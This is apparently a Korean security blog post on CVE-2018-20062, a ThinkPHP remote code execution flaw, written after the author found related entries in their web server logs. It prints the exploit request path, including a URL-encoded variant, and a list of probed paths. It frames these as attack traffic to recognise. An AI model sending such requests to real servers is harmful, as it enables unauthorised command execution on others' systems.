<OOO>

[CVE-2018-20062] ThinkPHP RCE 취약점 본문

CVE 분석

[CVE-2018-20062] ThinkPHP RCE 취약점

<OOO> 2021. 4. 8. 00:03
728x90

웹 서버를 열어놨더니 이상한 로그가 찍혀있어 리서치용으로 포스터를 작성하고자 한다.

 

ThinkPHP 란?

중국에서 개발한 PHP 프레임 워크.

 

이 취약점이 발표될 당시에 중국에선 4만여개의 사이트들이 ThinkPHP를 사용했었는데 해킹 사건이 많이 발생했다.

한국에도 ThinkPHP를 사용하긴 한다.(극소수)

 

영향 받는 버전 : 5.0.20,5.1.30

cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20062

 

이 취약점을 사용하면 RCE, 즉 원격명령 실행이 가능하다.

 

해당 exploit 코드는 다음과 같다.

 

/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21

 

마지막에 vars[1][]=HelloThinkPHP21 이라고 되어있는데 이 부분에 RCE 취약점이 터진다.

HelloThinkPHP21 말고 phpinfo() 라던가 echo 라던가 system 등등 서버에 영향을 줄 수 있는 명령어들이 삽입이 될 수 있다는 말이다.

 

웹 서버에 찍혀있는 또다른 ThinkPHP 로그다.

/thinkphp/html/public/index.php
/TP/public/index.php
/TP/index.php
/TP/html/public/index.php

+2021.04.14 추가
/index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50

 

만일 이 로그들이 보일경우 ThinkPHP 대상을 공격하는구나 라고 알고 있으면 될것같다.(ThinkPHP를 잘 안쓰기에..)

Comments